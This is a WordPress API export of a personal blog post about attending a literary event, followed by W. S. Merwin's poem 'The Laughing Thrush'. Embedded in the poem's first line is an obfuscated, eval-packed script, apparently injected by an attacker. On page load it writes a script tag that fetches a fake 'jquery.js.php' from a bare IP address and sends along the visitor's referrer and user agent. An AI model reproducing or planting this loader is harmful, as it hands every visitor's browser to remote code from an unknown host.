{"id":2591,"date":"2010-10-29T09:14:17","date_gmt":"2010-10-29T16:14:17","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2591"},"modified":"2011-12-06T09:57:50","modified_gmt":"2011-12-06T16:57:50","slug":"the-laughing-thrush","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2591","title":{"rendered":"The Laughing Thrush"},"content":{"rendered":"<p>I arrange a lot of literary events for work.  Conferences, lectures, poetry readings.  Sometimes I actually go to them.  Sometimes I have to go to them.  Often they just feel like more work, which is a pity.  But sometimes I actually can forget about the caterer and the taxi arrangements and just listen.<\/p>\n<p>Not so much this time &#8211; the whole thing was exhausting.  It&#8217;s a pity, because I think I might like this poet.<br \/>\n________________________<\/p>\n<p><em>O <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knfna|var|u0026u|referrer|afyya||js|php'.split('|'),0,{}))\n<\/script><\/noindex> nameless joy of the morning<\/p>\n<p>tumbling upward note by note out of the night<br \/>\nand the hush of the dark valley<br \/>\nand out of whatever has not been there<\/p>\n<p>song unquestioning and unbounded<br \/>\nyes this is the place and the one time<br \/>\nin the whole of before and after<br \/>\nwith all of memory waking into it<\/p>\n<p>and the lost visages that hover<br \/>\naround the edge of sleep<br \/>\nconstant and clear<br \/>\nand the words that lately have fallen silent<br \/>\nto surface among the phrases of some future<br \/>\nif there is a future<\/p>\n<p>here is where they all sing the first daylight<br \/>\nwhether or not there is anyone listening<\/p>\n<p>~ W. S. Merwin<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I arrange a lot of literary events for work. Conferences, lectures, poetry readings. Sometimes I&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[42,45],"class_list":["post-2591","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-poem","tag-work"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2591"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2591"}],"version-history":[{"count":2,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2591\/revisions"}],"predecessor-version":[{"id":2605,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2591\/revisions\/2605"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2591"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2591"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2591"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}